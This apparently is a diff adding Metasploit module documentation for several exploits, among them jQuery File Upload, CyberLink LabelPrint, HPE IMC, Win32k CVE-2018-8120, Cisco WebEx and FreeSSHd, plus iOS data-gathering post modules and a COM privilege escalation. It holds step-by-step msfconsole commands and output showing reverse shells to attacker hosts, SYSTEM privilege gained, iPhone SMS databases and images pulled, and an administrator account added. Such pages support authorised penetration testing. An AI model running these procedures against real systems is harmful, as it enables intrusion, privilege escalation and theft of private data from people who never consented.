[*] Command shell session 1 opened (192.168.1.5:4444 -> 192.168.1.5:64337) at 2018-10-20 14:08:03 -0500
|
||||
[!] 127.0.0.1:25 - Do NOT type `exit', or else you may lose further shells!
|
||||
[!] 127.0.0.1:25 - Hit ^C to abort the session instead, please and thank you
|
||||
|
||||
whoami
|
||||
daemon
|
||||
cat /etc/motd
|
||||
4.3 BSD UNIX #1: Fri Jun 6 19:55:29 PDT 1986
|
||||
|
||||
Would you like to play a game?
|
||||
```
|
|
@ -0,0 +1,67 @@
|
|||
## Intro
|
||||
|
||||
This module exploits an arbitrary file upload in the sample PHP upload
|
||||
handler for blueimp's jQuery File Upload widget in versions <= 9.22.0.
|
||||
|
||||
Due to a default configuration in Apache 2.3.9+, the widget's `.htaccess`
|
||||
file may be disabled, enabling exploitation of this vulnerability.
|
||||
|
||||
This vulnerability has been exploited in the wild since at least 2015
|
||||
and was publicly disclosed to the vendor in 2018. It has been present
|
||||
since the `.htaccess` change in Apache 2.3.9.
|
||||
|
||||
This module provides a generic exploit against the jQuery widget.
|
||||
|
||||
## Setup
|
||||
|
||||
<https://github.com/blueimp/jQuery-File-Upload/wiki/Setup#using-jquery-file-upload-ui-version-on-php-websites>
|
||||
|
||||
## Targets
|
||||
|
||||
```
|
||||
Id Name
|
||||
-- ----
|
||||
0 PHP Dropper
|
||||
1 Linux Dropper
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
**TARGETURI**
|
||||
|
||||
Set this to the base path of jQuery File Upload. `/jQuery-File-Upload`
|
||||
and those including a version are common. `/upload` may be another.
|
||||
You may want to use another tool like `dirb` to handle enumeration.
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
msf5 exploit(unix/webapp/jquery_file_upload) > check
|
||||
|
||||
[*] Checking /jQuery-File-Upload/package.json
|
||||
[+] Found Apache 2.4.18 (AllowOverride None may be set)
|
||||
[+] Found unpatched jQuery File Upload 9.22.0
|
||||
[*] 172.28.128.3:80 The target appears to be vulnerable.
|
||||
msf5 exploit(unix/webapp/jquery_file_upload) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.28.128.1:4444
|
||||
[*] Checking /jQuery-File-Upload/package.json
|
||||
[+] Found Apache 2.4.18 (AllowOverride None may be set)
|
||||
[+] Found unpatched jQuery File Upload 9.22.0
|
||||
[*] Checking /jQuery-File-Upload/server/php/index.php
|
||||
[+] Found /jQuery-File-Upload/server/php/index.php
|
||||
[*] Uploading payload
|
||||
[+] Payload uploaded: http://172.28.128.3/jQuery-File-Upload/server/php/files/FJx2tZWpurPHKIWaYX7sbGTraXTNlRaBB.php
|
||||
[*] Executing payload
|
||||
[*] Sending stage (37775 bytes) to 172.28.128.3
|
||||
[*] Meterpreter session 1 opened (172.28.128.1:4444 -> 172.28.128.3:54414) at 2018-10-23 07:13:22 -0500
|
||||
[*] Deleting payload
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: www-data (33)
|
||||
meterpreter > sysinfo
|
||||
Computer : ubuntu-xenial
|
||||
OS : Linux ubuntu-xenial 4.4.0-134-generic #160-Ubuntu SMP Wed Aug 15 14:58:00 UTC 2018 x86_64
|
||||
Meterpreter : php/linux
|
||||
meterpreter >
|
||||
```
|
|
@ -0,0 +1,71 @@
|
|||
## Description
|
||||
|
||||
This module exploits a stack buffer overflow in CyberLink LabelPrint 2.5 and below.
|
||||
The vulnerability is triggered when opening a .lpp project file containing overly long string characters
|
||||
via open file menu. This results in overwriting a structured exception handler record and take over the
|
||||
application. This module has been tested on Windows 7 (64 bit), Windows 8.1 (64 bit), and Windows 10 (64 bit).
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
CyberLink LabelPrint v2.5, which is available with [Power2Go 12 Essential](https://www.cyberlink.com/downloads/trials/power2go-platinum/download_en_US.html)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `./msfconsole`
|
||||
2. `use exploit/multi/handler`
|
||||
3. `set payload windows/meterpreter/reverse_tcp`
|
||||
4. `set lhost <lhost>`
|
||||
5. `set exitonsession false`
|
||||
6. `exploit -j`
|
||||
7. `use windows/fileformat/cyberlink_lpp_bof`
|
||||
8. `set lhost <lhost>`
|
||||
9. `set target 2`
|
||||
10. `exploit`
|
||||
11. Copy file to Win10 host and open in vulnerable software
|
||||
12. Get a shell
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Tested Windows 10 x64 running CyberLink LabelPrint v2.5
|
||||
|
||||
```
|
||||
msf5 > use exploit/multi/handler
|
||||
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
|
||||
payload => windows/meterpreter/reverse_tcp
|
||||
msf5 exploit(multi/handler) > set lhost 172.22.222.132
|
||||
lhost => 172.22.222.132
|
||||
msf5 exploit(multi/handler) > set exitonsession false
|
||||
exitonsession => false
|
||||
msf5 exploit(multi/handler) > exploit -j
|
||||
[*] Exploit running as background job 1.
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf5 exploit(multi/handler) >
|
||||
[*] Started reverse TCP handler on 172.22.222.132:4444
|
||||
use windows/fileformat/cyberlink_lpp_bof
|
||||
msf5 exploit(windows/fileformat/cyberlink_lpp_bof) > set lhost 172.22.222.132
|
||||
lhost => 172.22.222.132
|
||||
msf5 exploit(windows/fileformat/cyberlink_lpp_bof) > set target 2
|
||||
target => 2
|
||||
msf5 exploit(windows/fileformat/cyberlink_lpp_bof) > exploit
|
||||
|
||||
[*] Creating 'msf.lpp' file ...
|
||||
[+] msf.lpp stored at /home/msfdev/.msf4/local/msf.lpp
|
||||
msf5 exploit(windows/fileformat/cyberlink_lpp_bof) >
|
||||
[*] Sending stage (179779 bytes) to 172.22.222.200
|
||||
[*] Meterpreter session 1 opened (172.22.222.132:4444 -> 172.22.222.200:50522) at 2018-12-11 06:24:38 -0600
|
||||
sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : DESKTOP-IPOGIJR
|
||||
OS : Windows 10 (Build 17134).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x86/windows
|
||||
meterpreter > exit
|
||||
[*] Shutting down Meterpreter...
|
||||
|
||||
[*] 172.22.222.200 - Meterpreter session 1 closed. Reason: User exit
|
||||
```
|
|
@ -0,0 +1,70 @@
|
|||
The module exploits a RCE bug on vulnerable installations of Hewlett Packard Enterprise Intelligent Management Center. Authentication is not required.
|
||||
|
||||
The specific flaw exists within the `WebDMDebugServlet`, which listens on TCP ports `8080` and `8443` by default. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute arbitrary code in the context of SYSTEM.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
On a Windows machine, download and install a trial version of HPE IMC from here:
|
||||
|
||||
[https://h10145.www1.hpe.com/downloads/DownloadSoftware.aspx?SoftwareReleaseUId=19066&ProductNumber=JG748AAE&lang=&cc=&prodSeriesId=&SaidNumber=](https://h10145.www1.hpe.com/downloads/DownloadSoftware.aspx?SoftwareReleaseUId=19066&ProductNumber=JG748AAE&lang=&cc=&prodSeriesId=&SaidNumber=)
|
||||
|
||||
You need .Net 2.0, but that's the only dependency.
|
||||
|
||||
Make sure to follow any instructions on setting up SSL correctly (certain cipher suites does not play well with the software). These instructions may vary depending on the win version you set it up on. On a Windows Server 2012 R2 I had to disable certain cipher suites. The exploit has been tested on Windows Server 2012 R2 and Windows Server 2008 R2.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
A successful check of the exploit will look like this:
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: ```use exploit/windows/http/hp_imc_java_deserialize```
|
||||
4. Do: ```set RHOSTS <RHOSTS>```
|
||||
5. Do: ```set PAYLOAD windows/meterpreter/reverse_tcp```
|
||||
6. Do: ```set LHOST <LHOST>```
|
||||
7. Do: ```check```
|
||||
8. **Verify** that you are seeing `The target is vulnerable.` in console.
|
||||
9. Do: ```exploit```
|
||||
10. You should get a meterpreter shell.
|
||||
|
||||
## Options
|
||||
|
||||
**TARGETURI**
|
||||
|
||||
Path to the IMC application, the default location is `/imc`.
|
||||
|
||||
**SSL**
|
||||
|
||||
As set up by default, IMC is vulnerable both over port `8080` and `8443` (SSL). Set this parameter to `true` and change `RPORT` if you'd like to exploit over SSL.
|
||||
|
||||
**RPORT**
|
||||
|
||||
Set this to the appropriate port, `8080` (default) or `8443`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
All versions below 7.3 E0504P2 should be vulnerable remotely.
|
||||
|
||||
### HPE IMC 7.3 E0504P2
|
||||
|
||||
Here's showing the expected output:
|
||||
|
||||
```
|
||||
msf > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.1:4444
|
||||
[*] Sending serialized Java object (11290 bytes)...
|
||||
[*] Sending stage (179779 bytes) to 10.0.0.2
|
||||
[*] Meterpreter session 2 opened (10.0.0.1:4444 -> 10.0.0.2:49284) at 2018-11-17 09:43:07 +0100
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : SERVER_NAME
|
||||
OS : Windows 2008 R2 (Build 7601, Service Pack 1).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 1
|
||||
Meterpreter : x86/windows
|
||||
meterpreter >
|
||||
```
|
|
@ -0,0 +1,52 @@
|
|||
## Overview
|
||||
|
||||
An elevation of privilege vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.
|
||||
|
||||
To exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application that could exploit the vulnerability and take control of an affected system.
|
||||
|
||||
The update addresses this vulnerability by correcting how Win32k handles objects in memory.
|
||||
|
||||
* https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8120
|
||||
* http://bigric3.blogspot.com/2018/05/cve-2018-8120-analysis-and-exploit.html
|
||||
* https://github.com/bigric3/cve-2018-8120
|
||||
* https://github.com/unamer/CVE-2018-8120
|
||||
|
||||
## Verification steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Get a session
|
||||
3. `use exploit/windows/local/ms18_8120_win32k_privesc`
|
||||
4. `set SESSION [SESSION]`
|
||||
5. `set LHOST [LHOST]`
|
||||
6. `exploit`
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
msf exploit(multi/handler) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.1.102:4444
|
||||
[*] Sending stage (206403 bytes) to 192.168.1.103
|
||||
[*] Meterpreter session 1 opened (192.168.1.102:4444 -> 192.168.1.103:56748) at 2018-10-10 21:55:52 +0530
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: zero-PC\zero
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
msf exploit(multi/handler) > use exploit/windows/local/ms18_8120_win32k_privesc
|
||||
msf exploit(windows/local/ms18_8120_win32k_privesc) > set SESSION 1
|
||||
SESSION => 1
|
||||
msf exploit(windows/local/ms18_8120_win32k_privesc) > set LHOST 192.168.1.102
|
||||
LHOST => 192.168.1.102
|
||||
msf exploit(windows/local/ms18_8120_win32k_privesc) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.1.102:4444
|
||||
[+] Exploiting SetImeInfoEx Win32k NULL Pointer Dereference
|
||||
[+] Exploit finished, wait for privileged payload execution to complete.
|
||||
[*] Sending stage (206403 bytes) to 192.168.1.103
|
||||
[*] Meterpreter session 2 opened (192.168.1.102:4444 -> 192.168.1.103:56749) at 2018-10-10 21:56:35 +0530
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter >
|
||||
```
|
|
@ -0,0 +1,62 @@
|
|||
## Description
|
||||
|
||||
This module gets an elevated session with System privileges by exploiting a remote code execution vulnerability found
|
||||
in Cisco's WebEx client software for versions below v33.6.0.655.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Cisco WebEx v33.3.8.7 and below
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Get a session
|
||||
4. Do: ```use exploit/windows/local/webexec```
|
||||
5. Do: ```set SESSION <session>```
|
||||
6. Do: ```run```
|
||||
7. You should get an elevated session.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Tested on Cisco WebEx v33.3.8.7 on Windows 7 x64 and x86
|
||||
|
||||
```
|
||||
|
||||
msf5 > use multi/handler
|
||||
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
|
||||
payload => windows/meterpreter/reverse_tcp
|
||||
msf5 exploit(multi/handler) > set lhost 192.168.37.1
|
||||
lhost => 192.168.37.1
|
||||
msf5 exploit(multi/handler) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.37.1:4444
|
||||
[*] Sending stage (179779 bytes) to 192.168.37.136
|
||||
[*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.136:49161) at 2018-10-24 09:41:47 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: WIN-MGMN7ND70I1\a_user
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
msf5 exploit(multi/handler) > use exploit/windows/local/webexec
|
||||
msf5 exploit(windows/local/webexec) > set session 1
|
||||
session => 1
|
||||
msf5 exploit(windows/local/webexec) > set payload windows/meterpreter/reverse_tcp
|
||||
payload => windows/meterpreter/reverse_tcp
|
||||
msf5 exploit(windows/local/webexec) > set lhost 192.168.37.1
|
||||
lhost => 192.168.37.1
|
||||
msf5 exploit(windows/local/webexec) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.37.1:4444
|
||||
[*] Checking service exists...
|
||||
[*] Writing 73802 bytes to %SystemRoot%\Temp\Ak4U78kG.exe...
|
||||
[*] Launching service...
|
||||
[*] Sending stage (179779 bytes) to 192.168.37.136
|
||||
[*] Meterpreter session 2 opened (192.168.37.1:4444 -> 192.168.37.136:49162) at 2018-10-24 09:42:35 -0500
|
||||
[*] Service started...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter >
|
||||
|
||||
```
|
|
@ -0,0 +1,58 @@
|
|||
## Description
|
||||
|
||||
This module exploits a remote code execution vulnerability in Cisco's WebEx client software for versions < v33.6.0.655.
|
||||
|
||||
Vulnerable WebEx clients come with the `WebExService` that can execute arbitrary commands with System privileges.
|
||||
Due to insufficient checks on permissions, a local or domain user can start the `WebExService` through a remote connection
|
||||
and execute code.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Cisco WebEx software v33.3.8.7 and below
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: ```use exploit/windows/smb/webexec```
|
||||
4. Do: ```set RHOSTS <IP>```
|
||||
5. Do: ```set SMBUser <USERNAME>```
|
||||
6. Do: ```set SMBPass <PASSWORD>```
|
||||
7. Do: ```run```
|
||||
8. You should get a shell.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Tested on Cisco WebEx v33.3.8.7 on Windows 7 x64 and x86
|
||||
|
||||
```
|
||||
|
||||
msf5 > use exploit/windows/smb/webexec
|
||||
msf5 exploit(windows/smb/webexec) > set smbuser a_user
|
||||
smbuser => a_user
|
||||
msf5 exploit(windows/smb/webexec) > set smbpass password
|
||||
smbpass => password
|
||||
msf5 exploit(windows/smb/webexec) > set rhosts 192.168.37.136
|
||||
rhosts => 192.168.37.136
|
||||
msf5 exploit(windows/smb/webexec) > set payload windows/meterpreter/reverse_tcp
|
||||
payload => windows/meterpreter/reverse_tcp
|
||||
msf5 exploit(windows/smb/webexec) > set lhost 192.168.37.1
|
||||
lhost => 192.168.37.1
|
||||
msf5 exploit(windows/smb/webexec) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.37.1:4444
|
||||
[*] 192.168.37.136:445 - Connecting to the server...
|
||||
[*] 192.168.37.136:445 - Authenticating to 192.168.37.136:445 as user 'a_user'...
|
||||
[*] 192.168.37.136:445 - Command Stager progress - 0.96% done (999/104435 bytes)
|
||||
[*] 192.168.37.136:445 - Command Stager progress - 1.91% done (1998/104435 bytes)
|
||||
...
|
||||
[*] 192.168.37.136:445 - Command Stager progress - 99.47% done (103880/104435 bytes)
|
||||
[*] 192.168.37.136:445 - Command Stager progress - 100.00% done (104435/104435 bytes)
|
||||
[*] Sending stage (179779 bytes) to 192.168.37.136
|
||||
[*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.136:49158) at 2018-10-24 09:10:46 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter >
|
||||
|
||||
```
|
|
@ -0,0 +1,92 @@
|
|||
## Description
|
||||
|
||||
This module exploits a vulnerability found in FreeSSHd <= 1.2.6 to bypass authentication. You just need the username (which defaults to root). The exploit has been tested with both password and public key authentication.
|
||||
|
||||
|
||||
## Verification
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do : `use exploit/windows/ssh/freesshd_authbypass`
|
||||
3. Do : `set RHOST [target IP]`
|
||||
4. Do : `set PAYLOAD [valid windows payload]` if you want to use other payloads (`windows/meterpreter/reverse_tcp` by default)
|
||||
5. Do : `set LHOST [Your IP]`
|
||||
6. Do : `set LPORT [valid port]` (port is `4444` by default)
|
||||
7. Do : `exploit`
|
||||
8. If target is vulnerable, a shell (`meterpreter` by default) should pop
|
||||
|
||||
## Example with default payload (windows/meterpreter/reverse_tcp)
|
||||
```
|
||||
msf > use exploit/windows/ssh/freesshd_authbypass
|
||||
msf exploit(windows/ssh/freesshd_authbypass) > set RHOST 192.168.80.131
|
||||
RHOST => 192.168.80.131
|
||||
msf exploit(windows/ssh/freesshd_authbypass) > set LHOST 192.168.80.138
|
||||
LHOST => 192.168.80.138
|
||||
msf exploit(windows/ssh/freesshd_authbypass) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.80.138:4444
|
||||
[*] 192.168.80.131:22 - Trying username '4Dgifts'
|
||||
[*] 192.168.80.131:22 - Trying username 'EZsetup'
|
||||
[*] 192.168.80.131:22 - Trying username 'OutOfBox'
|
||||
[*] 192.168.80.131:22 - Trying username 'ROOT'
|
||||
[*] Sending stage (179779 bytes) to 192.168.80.131
|
||||
[*] Meterpreter session 2 opened (192.168.80.138:4444 -> 192.168.80.131:49166) at 2018-11-16 16:10:33 +0800
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : SSH-TEST-SERVER
|
||||
OS : Windows 8.1 (Build 9600).
|
||||
Architecture : x86
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 1
|
||||
Meterpreter : x86/windows
|
||||
meterpreter >
|
||||
|
||||
```
|
||||
|
||||
## Example with plain old reverse shell (windows/shell_reverse_tcp)
|
||||
```
|
||||
msf > use exploit/windows/ssh/freesshd_authbypass
|
||||
msf exploit(windows/ssh/freesshd_authbypass) > set RHOST 192.168.80.131
|
||||
RHOST => 192.168.80.131
|
||||
msf exploit(windows/ssh/freesshd_authbypass) > set PAYLOAD windows/shell_reverse_tcp
|
||||
PAYLOAD => windows/shell_reverse_tcp
|
||||
msf exploit(windows/ssh/freesshd_authbypass) > set LHOST 192.168.80.138
|
||||
LHOST => 192.168.80.138
|
||||
msf exploit(windows/ssh/freesshd_authbypass) > set LPORT 4444
|
||||
LPORT => 4444
|
||||
msf exploit(windows/ssh/freesshd_authbypass) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.80.138:4444
|
||||
[*] 192.168.80.131:22 - Trying username '4Dgifts'
|
||||
[*] 192.168.80.131:22 - Trying username 'EZsetup'
|
||||
[*] 192.168.80.131:22 - Trying username 'OutOfBox'
|
||||
[*] 192.168.80.131:22 - Trying username 'ROOT'
|
||||
[*] Command shell session 1 opened (192.168.80.138:4444 -> 192.168.80.131:49167) at 2018-11-16 16:12:19 +0800
|
||||
|
||||
|
||||
|
||||
C:\Windows\system32>ipconfig
|
||||
ipconfig
|
||||
|
||||
Windows IP Configuration
|
||||
|
||||
|
||||
Ethernet adapter Ethernet0:
|
||||
|
||||
Connection-specific DNS Suffix . : localdomain
|
||||
Link-local IPv6 Address . . . . . : fe80::5d22:f345:9ea1:a320%3
|
||||
IPv4 Address. . . . . . . . . . . : 192.168.80.131
|
||||
Subnet Mask . . . . . . . . . . . : 255.255.255.0
|
||||
Default Gateway . . . . . . . . . :
|
||||
|
||||
Tunnel adapter isatap.localdomain:
|
||||
|
||||
Media State . . . . . . . . . . . : Media disconnected
|
||||
Connection-specific DNS Suffix . : localdomain
|
||||
|
||||
C:\Windows\system32>hostname
|
||||
hostname
|
||||
SSH-TEST-SERVER
|
||||
|
||||
C:\Windows\system32>
|
||||
```
|
|
@ -22,6 +22,12 @@ msf > use multi/handler
|
|||
msf exploit(handler) > set PAYLOAD php/meterpreter/reverse_tcp
|
||||
PAYLOAD => php/meterpreter/reverse_tcp
|
||||
msf exploit(handler) > set LHOST [IP]
|
||||
LHOST => [IP]
|
||||
msf exploit(handler) > set LPORT 4444
|
||||
LPORT => 4444
|
||||
msf exploit(handler) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on [IP]
|
||||
```
|
||||
|
||||
## Important Basic Commands
|
||||
|
|
|
@ -0,0 +1,35 @@
|
|||
## Description
|
||||
|
||||
This module downloads the discovered images on iPhones
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Get a session
|
||||
3. Do: ```use post/apple_ios/gather/ios_image_gather```
|
||||
4. Do: ```set SESSION <session>```
|
||||
5. Do: ```run```
|
||||
6. You should get images from the iPhone target.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Tested on iOS 10.3.3 on an iPhone 5
|
||||
|
||||
```
|
||||
|
||||
msf5 > use post/apple_ios/gather/ios_image_gather
|
||||
msf5 post(apple_ios/gather/ios_image_gather) > set session 1
|
||||
session => 1
|
||||
msf5 post(apple_ios/gather/ios_image_gather) > run
|
||||
|
||||
[!] SESSION may not be compatible with this module.
|
||||
[+] Image path found. Will begin searching for images...
|
||||
[*] Directory for iOS images: /Users/space/.msf4/loot/KlaBVw
|
||||
[*] Downloading image: IMG_0001.JPG
|
||||
[*] Downloading image: IMG_0002.JPG
|
||||
[*] Downloading image: IMG_0003.JPG
|
||||
[*] Downloading image: shell.php.jpg
|
||||
[*] Post module execution completed
|
||||
|
||||
|
||||
```
|
|
@ -0,0 +1,31 @@
|
|||
## Description
|
||||
|
||||
This module downloads the `sms.db` file from iPhones
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Get a session
|
||||
3. Do: ```use post/apple_ios/gather/ios_text_gather```
|
||||
4. Do: ```set SESSION <session>```
|
||||
5. Do: ```run```
|
||||
6. You should get the sms.db file on the iPhone target
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Tested on iOS 10.3.3 on an iPhone 5
|
||||
|
||||
```
|
||||
|
||||
msf5 > use post/apple_ios/gather/ios_text_gather
|
||||
msf5 post(apple_ios/gather/ios_text_gather) > set session 1
|
||||
session => 1
|
||||
msf5 post(apple_ios/gather/ios_text_gather) > run
|
||||
|
||||
[!] SESSION may not be compatible with this module.
|
||||
[+] sms.db file found
|
||||
[+] sms.db stored at /Users/space/.msf4/loot/20181101154200_default_192.168.43.49_sms.db.file_591456.txt
|
||||
[*] Post module execution completed
|
||||
|
||||
|
||||
```
|
|
@ -0,0 +1,26 @@
|
|||
`play_youtube` allows you to open and start playing a YouTube video on a
|
||||
compromised host.
|
||||
|
||||
## Important Options
|
||||
|
||||
**EMBED**
|
||||
|
||||
Whether or not to use the `/embed` YouTube URL. The embeded version provides a
|
||||
clean interface and will start playing in fullscreen but is not compatible with
|
||||
all YouTube videos, for example Rick Astley - Never Gonna Give You Up (VID:
|
||||
[`dQw4w9WgXcQ`][1]) is not compatible.
|
||||
|
||||
While the non-embeded version has greater compatibility, there is a chance that
|
||||
an advertisement may be played before the video. It is recommended to use the
|
||||
embeded version when the video is compatible.
|
||||
|
||||
**VID**
|
||||
|
||||
The video's identifier on YouTube. This is the `v` parameter of the URL.
|
||||
|
||||
## See Also
|
||||
|
||||
* Meterpreter's `uictl` command in the `stdapi` extension for enabling and
|
||||
disabling the mouse and keyboard.
|
||||
|
||||
[1]: https://www.youtube.com/watch?v=dQw4w9WgXcQ
|
|
@ -0,0 +1,148 @@
|
|||
## Overview
|
||||
This is a post exploitation module for local privilege escalation bug
|
||||
which exists in Microsoft COM for windows when it fails to properly
|
||||
handle serialized objects.
|
||||
|
||||
* https://www.phpmyadmin.net/downloads/
|
||||
* https://github.com/codewhitesec/UnmarshalPwn/
|
||||
* https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0824
|
||||
|
||||
## Module Options
|
||||
|
||||
"COMMAND" This command will be executed on successful escalation.</br>
|
||||
"SESSION" The session to run this module on.
|
||||
|
||||
## Limitations
|
||||
|
||||
The payload will not spawn ant independent session it simply creates process with the system privilege.
|
||||
If the system is not vulnerable, then payload will execute but new process will not spawn.
|
||||
|
||||
## Verification steps
|
||||
|
||||
If you want to confirm the vulnerability before you add user or perform any other sensitive action.
|
||||
|
||||
1. `set COMMAND /s notepad.exe`
|
||||
2. `run`
|
||||
|
||||
Confirmation:
|
||||
|
||||
Then go to meterpreter session and confirm running process (ps)
|
||||
If you see notepad.exe running as SYSYEM then that is as indication of vulnerable system.
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN10X64-1703
|
||||
OS : Windows 10 (Build 15063).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x64/windows
|
||||
meterpreter > execute -f cmd.exe -i -H
|
||||
Process 4868 created.
|
||||
Channel 7 created.
|
||||
Microsoft Windows [Version 10.0.15063]
|
||||
(c) 2017 Microsoft Corporation. All rights reserved.
|
||||
|
||||
C:\Users\msfuser\Downloads>net user
|
||||
net user
|
||||
|
||||
User accounts for \\WIN10X64-1703
|
||||
|
||||
-------------------------------------------------------------------------------
|
||||
Administrator DefaultAccount Guest
|
||||
msfuser
|
||||
The command completed successfully.
|
||||
|
||||
|
||||
C:\Users\msfuser\Downloads>exit
|
||||
exit
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
msf5 post(windows/escalate/unmarshal_cmd_exec) > show options
|
||||
|
||||
Module options (post/windows/escalate/unmarshal_cmd_exec):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
COMMAND no The command to execute as SYSTEM (Can only be a cmd.exe builtin or Windows binary, (net user /add %RAND% %RAND% & net localgroup administrators /add <user>).
|
||||
EXPLOIT_NAME no The filename to use for the exploit binary (%RAND% by default).
|
||||
PATH no Path to write binaries (%TEMP% by default).
|
||||
SCRIPT_NAME no The filename to use for the COM script file (%RAND% by default).
|
||||
SESSION yes The session to run this module on.
|
||||
|
||||
msf5 post(windows/escalate/unmarshal_cmd_exec) > set command 'net user /add egypt h@ks4shellz & net localgroup administrators /add egypt'
|
||||
command => net user /add egypt h@ks4shellz & net localgroup administrators /add egypt
|
||||
msf5 post(windows/escalate/unmarshal_cmd_exec) > set verbose true
|
||||
verbose => true
|
||||
msf5 post(windows/escalate/unmarshal_cmd_exec) > run
|
||||
|
||||
[!] SESSION may not be compatible with this module.
|
||||
[*] Attempting to PrivEsc on WIN10X64-1703 via session ID: 1
|
||||
[*] exploit path is: C:\Users\msfuser\AppData\Local\Temp\hylZVjgbLrd.exe
|
||||
[*] script path is: C:\Users\msfuser\AppData\Local\Temp\NCYcABO.sct
|
||||
[*] command is: net user /add egypt h@ks4shellz & net localgroup administrators /add egypt
|
||||
[*] Attempting to PrivEsc on WIN10X64-1703 via session ID: 1
|
||||
[*] Uploading Script to C:\Users\msfuser\AppData\Local\Temp\NCYcABO.sct
|
||||
[*] Creating the sct file with command net user /add egypt h@ks4shellz & net localgroup administrators /add egypt
|
||||
[*] script_template_data.length = 306
|
||||
[*] Writing 376 bytes to C:\Users\msfuser\AppData\Local\Temp\NCYcABO.sct to target
|
||||
[*] Script uploaded successfully
|
||||
[*] Uploading Exploit to C:\Users\msfuser\AppData\Local\Temp\hylZVjgbLrd.exe
|
||||
[*] Exploit uploaded on WIN10X64-1703 to C:\Users\msfuser\AppData\Local\Temp\hylZVjgbLrd.exe
|
||||
[*] Launching Exploit...
|
||||
[*] Query for IStorage
|
||||
Call: Stat
|
||||
End: Stat
|
||||
Query for IMarshal
|
||||
Call: GetMarshalSizeMax
|
||||
Unknown IID: {ECC8691B-C1DB-4DC0-855E-65F6C551AF49} 0000017F6C3E05B0
|
||||
Query for IMarshal
|
||||
Call: GetUnmarshalClass
|
||||
Call: GetMarshalSizeMax
|
||||
Call: MarshalInterface
|
||||
[+] Exploit Completed
|
||||
[*] C:\Users\msfuser\AppData\Local\Temp\hylZVjgbLrd.exe already exists on the target. Deleting...
|
||||
[*] Deleted C:\Users\msfuser\AppData\Local\Temp\hylZVjgbLrd.exe
|
||||
[*] C:\Users\msfuser\AppData\Local\Temp\NCYcABO.sct already exists on the target. Deleting...
|
||||
[*] Deleted C:\Users\msfuser\AppData\Local\Temp\NCYcABO.sct
|
||||
[*] Post module execution completed
|
||||
msf5 post(windows/escalate/unmarshal_cmd_exec) > sessions -i -1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > execute -f cmd.exe -i -H
|
||||
Process 1780 created.
